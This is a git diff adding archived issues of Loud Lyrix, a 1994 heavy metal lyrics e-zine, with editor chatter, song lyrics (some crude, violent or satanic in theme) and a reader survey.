canned... +The hunt is canned. + +< CHORUS > +All are gone, all but one. +No contest, nowhere to run. +No more left, only one. +This is it, this is the Countdown to Extinction. + +Tell the truth, you wouldn't dare. +The skin and trophy, oh so rare. +Silence speaks louder than words. +Ignore the guilt, and take your turn. +Liars anagram is lairs, +Man, you were never even there. +Killed a few feet from the cages, +Point blank, you're so courageous... +So courageous. + +< Chorus > + +One hour from now, another species of life form +Will disappear off the face of the planet, forever... +And the rate is accelerating. + +< Chorus > + +**************************** T H E E N D ******************************** +Typed By: Laugh while you can, monkey boy! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok dudes and dudettes.. that's it for Loud Lyrix #13.. LUCKY.. number 13, +hope y'all like our LISTSERV Celebration Semi-Mega Issue. + +Don't forget to send in those FUCKING SUBMISSIONS!!!! I need 'em bad.. I'm +runnin' outta idear's! + +C-ya!! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #13 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-14 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-14 new file mode 100644 index 00000000..a13b6347 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-14 @@ -0,0 +1,709 @@ + + + __ _____ __ __ ____ + /\ \ /\ __`\/\ \/\ \/\ _`\ + \ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \ + \ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \ + \ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \ + \ \____/ \ \_____\ \_____\ \____/ + \/___/ \/_____/\/_____/\/___/ + + __ __ ____ ______ __ __ + /\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \ + \ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/' + \ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > < + \ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\ + \ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\ + \/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/ + + + + Loud Lyrix, July 6, 1994, Issue # 14 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #14, 7/6/94 +----------------------- + +Hey Duuuudes!! Here we are! Back with another Loud Lyrix, a little late, +but here anyways! So people, just lemme say sorry for putting out this +issue a day late, I've been pretty damn busy lately, and my job doesn't +help any! Anyways, this issue is a little small, but guys, I'm really +pressed for time... + +This week's been awesome!! The reason I couldn't put the issue together on +the weekend was because of another AMAZING PARTY!!!!!! Yeah!! This one was +the best yet... fuck man, we had it in this guy's basement, with a fucking +KEG!! Of Molson Canadian.... 7 and a half fucking 2-4's !!!! Wow! We +didn't even finish the fucking thing... anyways.. it was awesome, his dad +bought the keg for us, and they had other drinks upstairs, including this +amazing French wine, which I also drained!... it was kewl... we slapped on +some White Zombie, and went mental moshing like true 'bangers.. I'm telling +you, it was worse than a REAL pit... smashing into walls, fuck, I got more +bruises than at the Pantera gig! A friend of mine sprained his ankle.. +hahahaha.. that was funny... + +Alright people, I know that over a HUNDRED of you subbers out there are +new to Loud Lyrix, and that this is your first issue (see guys, +advertising pays off), anyways... we have now over 250 subbers, and I +haven't checked for like 4 dayz, so it's probably more like 300+ now! +That's just soooo great... I hope all you newbies like Loud Lyrix, but you +have to make sure you get involved! Send in submissions, lyrics to your +favorite tunes, reviews, interviews, shit.. ANYTHING that's related to the +amazing world of metal, if I like it, I'll print it... + +Ok dudes... so, the last three songs are reader submissions, the rest are +my choice.. we're up to Chapter 3 of 10 in King Diamond's "Them". I +included those three Megadeth songs, and the Judas Priest song because I +just bought the albums that they are on... Megadeth's "Rust In Peace", +"Peace Sells...", "So Far, So Good... So What!" and Judas Priest's "Ram it +Down".. these albums totally smoke, I'm telling you! I included what in my +option is the best song on Slayer's "Show No Mercy"... "The Antichrist", +I'm listening to the album right now as I put together this issue of Loud +Lyrix... it rulez!! + +BTW... if anyone knows anything about the last song, "Fuck Me Dead"... +like who sings it, or which album it's off of, post me and tell me PLEASE!! + +Alright people.. that's it from me,.. all you new people, don't forget to +get a copy of the Loud Lyrix Ad.. and post it like nuts everywhere... oK? +Keep them submissions coming, and I'll see you dudes and dudettes l8r! + +CONTENTS +-------- +Song 1: "The Invisible Guests" ("Them", Chapter 3) by King Diamond +Song 2: "Holy Wars...The Punishment Due" by Megadeth +Song 3: "502" by Megadeth +Song 4: "The Conjuring" by Megadeth +Song 5: "Blood Red Skies" by Judas Priest +Song 6: "War Inside My Head" by Suicidal Tendencies +Song 7: "The Antichrist" by Slayer +Song 8: "Anything" by Danzig +Song 9: "Country Girl" by Black Sabbath +Song 10: "Fuck Me Dead" by ???? + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************** T H E I N V I S I B L E G U E S T S ****************** + by K I N G D I A M O N D + Album: "Them" + + +Late that night I awoke from My sleep +Hearing unknown voices laughing +insane +Grandma' was one, Oh it's coming +from the room next to mine + +It's Grandma' room... the invisible +guests + +As I stood there alone in the dark +Peeking through the keyhole, couldn't +believe My eyes +I'd never seen anything like it, only +Grandma' was inside the room + +Speaking to no one... the invisible +guests + +Cups were rising in thin air and then +emptied on the floor +Suddenly the door was open and +Grandma' said +"Do come in My little friend" + +Missy and Mother were sleeping +downstairs +If they could see me in Grandmother's +chair + +Grandmother said "look Me deep in +the eyes +You will forget what You saw here +tonight" + +"I will let You in on the secret of this +house +The secret of Amon... that's what we +call this house +Now I want you to go back to sleep, +now go back to sleep My dear" + +The invisible guests + +Cups were rising in thin air and then +emptied on the floor +Suddenly the door was open and +Grandma' said +"Now you must go back to sleep" + +"Go to sleep"... "Go to sleep"... +"Go to sleep"... + +Missy and Mother were sleeping +downstairs +If they could see me in Grandmother's +chair + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****** H O L Y W A R S . . . T H E P U N I S H M E N T D U E ******** + by M E G A D E T H + Album: "Rust In Peace" + + +Brother will kill brother +Spilling blood across the land +Killing for religion +Something I don't understand. +Fools like me, who cross the sea +And come to foreign lands +Ask the sheep, for their beliefs +Do you kill on God's command? +A country that's divided +Surely will not stand +My past erased, no more disgrace +No foolish naive stand. +The end is near, it's crystal clear +Part of the master plan +Don't look now to Israel +It might be your homeland. +Holy Wars + +Upon my podium, as the know it all scholar +Down in my seat of judgment gavel's bang, uphold the law +Up on my soapbox, a leader out to change the world +Down in my pulpit as the holier-than-thou-could-be messenger of God. + + -- The Punishment Due -- +Wage the war on organized crime +Sneak attacks, repel down the rocks +Behind the lines +Some people risk to employ me +Some people live to destroy me +Either way they die. They die! + +They killed my wife and my baby, +With hopes to enslave me +First mistake...last mistake! +Paid by the alliance, to slay all the giants +Next mistake...no more mistakes! + +Fill the cracks in, with judicial granite +Because I don't say it, don't mean I ain't thinkin it. +Next thing you know, they'll take my thoughts away +I know what I said, now I must scream +Of the overdose +And the lack of mercy killings...mercy killings +Mercy killings...killings...killings +Next thing you know, they'll take my thoughts away + +**************************** T H E E N D ******************************** +Typed By: Laugh while you can, monkey boy! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************** 5 0 2 ********************************** + by M E G A D E T H + Album: "So Far, So Good... So What!" + + +"Pull over, shithead, this is the cops!" + +Full tank, pockets lined with cash +Full throttle, gonna rip some ass. +Drive all day, and through the night, +Romance the road, winding left to right. + + The stars above guide me, the moonlight is free. + A feeling inside me, and the whole world to see. + +Driving fast makes me feel good, +The speed of light trapped under my hood. +Breaking laws cause there's nothing to do. +Driving the interstate, stopped for a 502 + +Hundreds of miles rolled off today. +Signs lose their meanings, minutes tick away. +Dirt roads to the interstates, I must have drove them all. +Cigarettes and burgers, caffeine and alcohol. + + Drive until daybreak, always on the go. + Life on the freeway, night shift till dawn patrol. + +Driving fast makes me feel good, +The speed of light trapped under my hood +Breaking laws cause there's nothing to do. +Driving the interstate, stopped for a 502. +Stopped for a 502, next time it's gonna be you. + +Stars above guide me +This feeling inside me. +I drive until daybreak. +Life on the freeway is Hell. +I'm coming through! + +**************************** T H E E N D ******************************** +Typed By: Laugh while you can, monkey boy! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** T H E C O N J U R I N G ************************* + by M E G A D E T H + Album: "Peace Sells, But Who's Buying" + + +Welcome to our sanguinary sect of worship. +Feel at home in our black conventicle, +As we anathmatise +All those who oppose us. +Don't summon the devil, +Don't call the priests, +If you need the strength, +The Conjuring. Obey!!! + +Behold! The flames rise +>From the compass' cardinal points. +Burn the sacred oil, +And, with the ashes you'll anoint. + +Arrange the symbols, +Of the wizard, and magician. +Light the candles, +Place the parchment paper in position +Between its leaves place +The lash from a black cat's eye, +A straw of a broom, +Fold, and burn, and centralize. + +Don't summon the devil, +Don't call the priests, +If you need the strength, +The Conjuring. + +I am the devil's advocate, +A salesman, if you will. +You know my name. + +I met your father years ago, +Gave him what he'd please. +He called my name, you'll do the same. + +I'm claiming what is mine by right, +It's time to close the deal. +You're bought and sold, bought and sold. + +Come join me in my infernal depths, +Mephisto's hall of fame. +I've got your soul, I've got your soul. +The Conjuring. Obey!!! + +**************************** T H E E N D ******************************** +Typed By: Laugh while you can, monkey boy! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************* B L O O D R E D S K I E S *********************** + by J U D A S P R I E S T + Album: "Ram It Down" + + +As the sun goes down, I move around +Keeping to the shadows +Life, hangs by a thread +And I've heard it said, that I'll not see tomorrow + +If that's my destiny, it'll have to be +So I'll face the future +Running out of time +I'm on the line +But I'll go down fighting + +Fell the hand of justice +Telling wrong from right +Threw me out upon the street in the middle of the night + +Cybernetic heartbeat +Digital precise +Pneumatic fingers nearly had me in their vice + +Not begging you +I'm telling you + +You won't break me +You won't make me +You won't take me, +Under blood red skies + +You won't break me +You won't take me +I'll fight you under +blood red skies + +Through a shattered city, watched by laser eyes +Overhead the night squad glides +The decaying paradise + +Automatic sniper +With computer sights +Scans the bleak horizon for its victim of the night + +Not begging you +I'm telling you + +You won't break me +You won't make me +You won't take me, +Under blood red skies + +You won't break me +You won't take me +I'll fight you under +blood red skies + +As the end is drawing near +Standing proud, I won't give in to fear +As I die a legend will be born +I will stand, I will fight +You'll never take me alive +I'll stand my ground +I won't go down + +You won't break me +You won't make me +You won't take me, +Under blood red skies + +You won't break me +You won't take me +I'll fight you under +blood red skies + +You'll never take me alive +I'm telling you +Hands of justice +I will stand, I will fight +As the sun goes down +I won't give in to fear + +**************************** T H E E N D ******************************** +Typed by: Cobalt Raven + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** W A R I N S I D E M Y H E A D ******************** + by S U I C I D A L T E N D E N C I E S + Album: "Join the Army" + + +War inside my head +War inside my head +War inside my head +War inside my head + +War inside my head ain't a pretty sight +But I don't want no sympathy +It's happened a thousand times before +It's just a harsh reality + +Chorus: +War inside my head-can you sense it +War inside my head-can you see it +War inside my head-can you feel it +War inside my head + Can you hear the-Pain + Can you see the-Pain + Can you sense the-Pain + Can you feel the-Pain + Can you help the-Pain + Can you fix the-Pain + Can you taste the-Pain +Can you hear the war inside my head + +The only thing real is the way I feel +And that's the pain that's deep inside +The battle from within is gonna begin +And there ain't nowhere to hide + +Chorus +War inside my head every night and day +I never get no piece of mind +It ought to be a sin, I just can't win +And pure hell is all I find + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** T H E A N T I C H R I S T ************************ + by S L A Y E R + Album: "Show No Mercy" + + +Screams and nightmares +Of a life I want +Can't see living this lie no +A world I haunt +You've lost all control of my +Heart and soul +Satan holds my future +Watch it unfold + +I am the Antichrist +It's what I was meant to be +Your God left me behind +And set my soul to be free + +Watching disciples +Of the satanic rule +Pentagram of blood +Holds the jackal's truth +Searching for the answer +Christ hasn't come +Awaiting the final moment +The birth of Satan's son + +Screams, +>From a life I live +Torment, +Is what I give +Torture, +Is what I love +The down fall, +Of the heavens above + +I am the Antichrist +All love is lost +Insanity is what I am +Eternally my soul will rot [rot... rot] + +***************************** T H E E N D ******************************* +Typed by: The Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************************** A N Y T H I N G ****************************** + by D A N Z I G + Album: "How The Gods Kill" + + +Anything you want +Anything the world has to offer +I can give you +If you just reach out to me +Take my hand +Everything a kiss cannot bring you +I will give you +If you just say you will + +And it's freedom +In my arms +And it's freedom +In my arms +In my arms +In my arms + +Anything you want +Anything this world has to offer +I can give you +All this world and its glories +And its sins +I will give it all to you +Take my hand + +If you just say you will + +Anything you want +It's in my arms +Anything you need +It's in my arms +Anything you want it's in my arms +Anything you need it's in my arms +In my loving arms +In my arms +In my arms + +***************************** T H E E N D ******************************* +Typed By : Fernando Araujo + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ C O U N T R Y G I R L ************************** + by B L A C K S A B B A T H + Album: "Mob Rules" + + +Fell in love with a country girl, mornin' sunshine +She was up from another world +Just to bust another soul +Her eyes were an endless flame, holy lightning +Desire wore a special name made to snatch your soul away, yeah + +We sailed away on a crimson tide, gone forever +Left my heart on the other side +All to break it into bits +Her smile was a winter's song, a sabbath ending +Don't sleep or you'll find me gone +Just an image in the air, oh + +In dreams I think of you +I don't know what to do with myself +Time has let me down +She brings broken dreams, fallen stars +The endless search for where you are + +So wrong, so wrong, so wrong, so wrong + +Now fell in love with a country girl, mornin' sunshine +She was up from another world +Just to bust another soul +Her eyes were an endless flame, unholy lady +Desire wore a special name made to snatch your soul away, oh + +Don't sail away on a crimson tide +Don't leave your heart on the other side +Her eyes are an endless flame +Desire wanna scratch your name + +Don't ever fall in love +Don't give your heart away +No never, never fall in love +With a country girl + +***************************** T H E E N D ******************************* +Typed by: Markus Bautsch + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +I have this song on tape, thought you might like to read the lyrics.. Plays +like metal, have no idea what it's called (besides obvious possibilities!!) +or who did it, or anything.. I can't make out ALL the lyrics, either.. * +means there should be words there... -- Jon-Paul Therriault + +************************ F U C K M E D E A D ************************** + by ? ? ? ? + Album: ???? + (I have no idea who did this song, it was passed on from a friend) + + +I like the name tag between your toes +I like the snot running out of your nose +I like the stains on your panty hose +Just a cold stiff mummy when I hold you close + +I like rigor mortis when it just sets in +I know where you're going I don't care where you've been +A pillow and a coffin just as nice as a bed +And baby I love it when you fuck me dead +I said baby I love it when you fuck me dead + +Every new girl's another three day affair +Rather be * pull of your hair +Really doesn't matter if you're gray-haired and old +Really doesn't matter * long as she * + +Smiling emergency * ok +Rather make it with you when you're DOA +Lying there stiff when it's time to pay +I can't wait till the undertaker goes away + +Hanging upside down when you're getting drained +S & M pleasure on the wall when you * +When you * up just * +Oh baby I love it when you fuck me dead +I said baby I love it when you fuck me dead + +Every new girl's another three day affair +Doesn't really matter if I pull on your hair +Doesn't really matter if she's too young or old +I got to be careful * + +Baby baby I'll hold you close +Quick quick before you decompose +Baby baby I'll hold you close +And baby I love it when you fuck me dead +I said baby I love it when you fuck me dead +I said baby I love it when you fuck me dead +I said baby I love it when you FUCK! + +***************************** T H E E N D ******************************* +Typed by: Sartre (Jon-Paul Therriault) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +That's it, I really don't have anything left to say, except, party hard, +and don't do anything I would! + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #14 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-15 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-15 new file mode 100644 index 00000000..b46f75cf --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-15 @@ -0,0 +1,1107 @@ + .-. .--. .-..-..---. .-. .-..-..---. .-..-..-. + : : : ,. :: :: :: . : : : : :: :: .; :: :: `' : + : : : :: :: :: :: :: : : : `. .': .': : ` ' + : :__ : :; :: :; :: :; : : :__ .' ; : :.`.: :.' `. + :___.'`.__.'`.__.':___.' :___.':_,' :_;:_;:_;:_;:_; + + + Loud Lyrix, July 12, 1994, Issue # 15 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #15, 7/12/94 +------------------------ + +Hey dudes!! How's it goin'? Good? I hope so... everything's pretty great +for me over here.. Italy's kicking ass in the World Cup, and I'm fucking +happy, St. Clair (the street where ALL the Italians in Toronto hang out) is +just rocking right now, it's really Sat the 9th when I'm writing this, so I +might be eating my words if they lose the next round, but I doubt that! +Fortza Azzuri!!!!!!! I know all you Brazilian subscribers are probably +gonna flame my ass to the wall (There are at least 10 of you for sure), but +that's ok.. hehehehehehe.. Italy'll kick your ass! + +Anyways... back to the 'zine... this week's 'zine is a pretty average and +ordinary issue... I've had time to do it this week so it's not as rushed +as it's been in the past couple of installments... sorry about all that, +but this summer ain't turning out to be as relaxing as I thought it would! +hehehehe... but still, I'm having fun, and that's the main thing! Ok guys, +this week, the last SIX songs are reader submissions! That's GREAT, I'm +glad so many of you decided to contribute to the 'zine this week, it's +greatly appreciated... + +Ok people, a word about lateness, as I'm writing this editorial right now, +I know for a fact that Loud Lyrix #14 hasn't been mailed outta my site!!! +FUCK!! You don't know how much that pisses me off!! I swear, this site's +mailer is getting on my nerves!! It's not the listserv that's screwing up, +not in the least.. it's the BBS that I call to do my email, and from where +I have to send ONE message to the listserv to explode it to all the subbers +That BBS is fucking up, and can't connect to the University so it can get +on the actual Internet.. understand?? Anyways.. that means late Loud +Lyrix's for all you guys.. I'm REALLY sorry about it people, but shit +happens, you'll have to bare with it for now, but hopefully I'll be +mailing this issue from a new site, ginof@tvo.org, HOPEFULLY!! + +Ok guys, there is one thing that I've been waiting to have in an issue of +Loud Lyrix, and that is a 'Reader's Survey' !!! Kewl idea eh?? Well, as it +seems that I have some time on my hands (the next coupla hours), I am gonna +try and write it up to include in this issue... make sure you answer it +truthfully, and send it back, completed to lyrix@terranet.cts.com, I will +give you all **5**, count 'em, FIVE weeks to get all your surveys into +me.... at that point I'm gonna add 'em all up, and post the results. Anyone +who does NOT send in a completed survey will be DELETED AND BLACKLISTED +FROM THIS 'ZINE, unless you provide a valid doctor's note! :) + +Oh yeah, I just got word that Biohazard is gonna be coming to Toronto on +Aug 3... I MIGHT go to the show, but I'm not too sure, it all depends if I +like any opening acts, and if 'the price is right'. Who knows? But it'll +be one helluva mosh! + +BTW, it came to my attention that someone uploaded issue #8 of Loud Lyrix +to the Etext archives at U of Michigan.... I freaked when I saw it +there... I really wanna know who it was, so whoever you are, could you +please mail me, and lemme say thank you to you, and give you ALL the +issues so you can upload 'em all... + +Ok guys, it's time for some WICKED songs.. so here they are, enjoy.... + +CONTENTS +-------- +Reader's Survey +Song 1: "Tea" ("Them", Chapter 4) by King Diamond +Song 2: "2,000 Man" by Kiss +Song 3: "Among The Living" by Anthrax +Song 4: "TV Crimes" by Black Sabbath +Song 5: "Biotech Is Godzilla" by Sepultura +Song 6: "Mr. Crowley" by Ozzy Osbourne +Song 7: "Fritz Haarmann the Butcher" by Macabre +Song 8: "Handsome And Gretel" by Babes In Toyland +Song 9: "Live Undead" by Slayer +Song 10: "Disposable Heroes" by Metallica +Song 11: "Black Moon" by Black Sabbath +Song 12: "Fool You" by King's X +Song 13: "Doctor Rocktor" by WASP + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Thanks go out to Drew Master's and the dudes at M.E.A.T. magazine.... +many parts of this survey are taken from MEAT's "1993 Reader's Survey", +without their help, I wouldn't have been able to come up with HALF of this +stuff -- Editor] + +********************* R E A D E R ' S S U R V E Y *********************** + by G I N O F I L I C E T T I + + +Ok everyone, here's the scoop on how to complete this survey.. so listen +up! A typical question will look like this: + +Q. What colour is the sky? + +A. [_] - black + [_] - yellow + [_] - gray + [_] - blue + [_] - what's a colour? + +Ok? Now.. all you have to do is pick an answer, that means ONE answer +(unless otherwise stated), and check it off like this: + + [x] - gray + +That's all... then go on to the next question, ok?.. is that clear enough +for you dudes??? Did I baby you enough??? Ok then.. go to it... have fun! + +!NOTE! -- The term 'HARD MUSIC' has gained a bit of popularity as of late, +it's a term that is used to apply to all forms of what I would anyways call +metal.. be it punk, hardcore, alternative, glam, whatever. + +---------------------------- START OF SURVEY ------------------------------ + +1. Where did you first hear of Loud Lyrix? + + [_] - Usenet Group + [_] - A Mailing List + [_] - Personal message from me + [_] - A Net-pal + [_] - On a local BBS + [_] - Other, please specify: ___________________________________________ + +2. Why did you choose to subscribe to Loud Lyrix? + + [_] - Sounded xtremely kewl! (that's 'cool' if you dudes didn't know) + [_] - You forced me too! + [_] - A Net-pal forced me too! + [_] - Wanted to check out some Heavy Metal lyrics + [_] - Wanted to REALLY see what these 'bangers are like + [_] - Other, please specify: ___________________________________________ + +3. Which part of Loud Lyrix do you ESPECIALLY like? + + [_] - The lyrics of course!! + [_] - The K-Rad Editorials + [_] - Reader's Comments (pfft! as if we've had any!! hint hint!) + [_] - The occasional Concert review or 'Metal News' + +4. What changes would you like to see in Loud Lyrix? + (more than one answer accepted) + + [_] - More songs + [_] - More blabber from me + [_] - More Reader's Comments! (hint hint!) + [_] - More reviews (concerts, albums, etc.) + [_] - Change the publication frequency + [_] - Other, please specify: ___________________________________________ + +5. How many people will read this issue of Loud Lyrix? + + [_] - Just me moron! + [_] - Me and a friend + [_] - Me and my gang + [_] - Tons and Tons! + +6. Do you write your Loud Lyrix to disk, and save them? + + [_] - Yes + [_] - No + +7. Overall, how much do you like Loud Lyrix? + + [_] - Can't live without my fix of Loud Lyrix!! + [_] - Love it + [_] - Like it a lot + [_] - Like it a little + [_] - Hate it!! UNSUB ME!! + +8. What other media do you get hard music info from? + (more than one answer accepted) + + [_] - TV + [_] - Radio + [_] - Newspapers + [_] - Alternative 'zines + [_] - Metal Mags + [_] - All the above + [_] - None of that shit! + +9. Which STYLE of Hard Music do you like best? + + [_] - Hard Rock + [_] - Alternative/Grunge + [_] - Death/Thrash/Speed Metal (this is my choice!!!!) + [_] - Power Metal + [_] - Commercial Rock + [_] - Hard Core + [_] - Classic Rock/Metal + [_] - Christian Rock/Metal + [_] - Glam Rock + [_] - Other, please specify: ___________________________________________ + +10. How long have you been a fan of Hard Music? + + [_] - Over 10 years + [_] - 5 - 10 years + [_] - 3 - 4 years + [_] - 1 - 2 years + [_] - Since I subscribed + +11. Which formats of MUSIC PRODUCT do you _usually_ buy? + (more than one answer accepted) + + [_] - Compact Disc (CD) + [_] - Cassette Tapes + [_] - Rock Video + [_] - Vinyl + [_] - Other, please specify: __________________________________________ + +12. Approximately how many combined music products do you own? + + [_] - None at all + [_] - Less than 25 + [_] - 25 - 50 + [_] - 51 - 100 + [_] - 101 - 250 + [_] - 251 - 500 + [_] - More than 500 + +13. Do you ever copy CDs/Tapes onto blank cassettes? + + [_] - Yes + [_] - No + +14. How often do you attend Hard Music concerts? + + [_] - Twice a month or more + [_] - Monthly + [_] - Every few months + [_] - Twice a year + [_] - Once a year + [_] - Never + +15. How many concerts have you been to in your life? + + [_] - None + [_] - 1 - 5 + [_] - 5 - 10 + [_] - 10 - 20 + [_] - More than 20 + +16. What is your status as a musician? + + [_] - Pro musician in a band + [_] - Pro studio musician + [_] - Part time pro musician + [_] - Casual player (non-pro) + [_] - I don't play + [_] - Other, please specify: __________________________________________ + +17. Which rock video shows to you watch? + (more than one answer accepted) + + [_] - Much Music's "Power 30" + [_] - Much Music's "The Wedge" + [_] - MTV's "Headbanger's Ball" + [_] - Other, please specify: __________________________________________ + +18. What is your gender? + + [_] - Male + [_] - Neuter + [_] - Female + [_] - Both + [_] - ALL OF THE ABOVE!!! + [_] - Other, please specify: __________________________________________ + +[I'm just kidding, but please answer this seriously, if not, I'll flame +you! -- Editor] + +19. What is your marital status + + [_] - Single + [_] - Married + [_] - Separated/Divorced/Widowed + +20. Are you presently attending... + + [_] - Public school + [_] - High school + [_] - College/University/Tech school - Part time only + [_] - College/University/Tech school - Full time + [_] - Not in school + +21. Are you... + + [_] - Working - Full time + [_] - Working - Part time + [_] - Unemployed + +Ok dudes... thanks a ton for this, I hope you ALL take the time to fill +out the survey and mail it to death@terranet.cts.com... DON'T FORGET +PLEASE!!!! 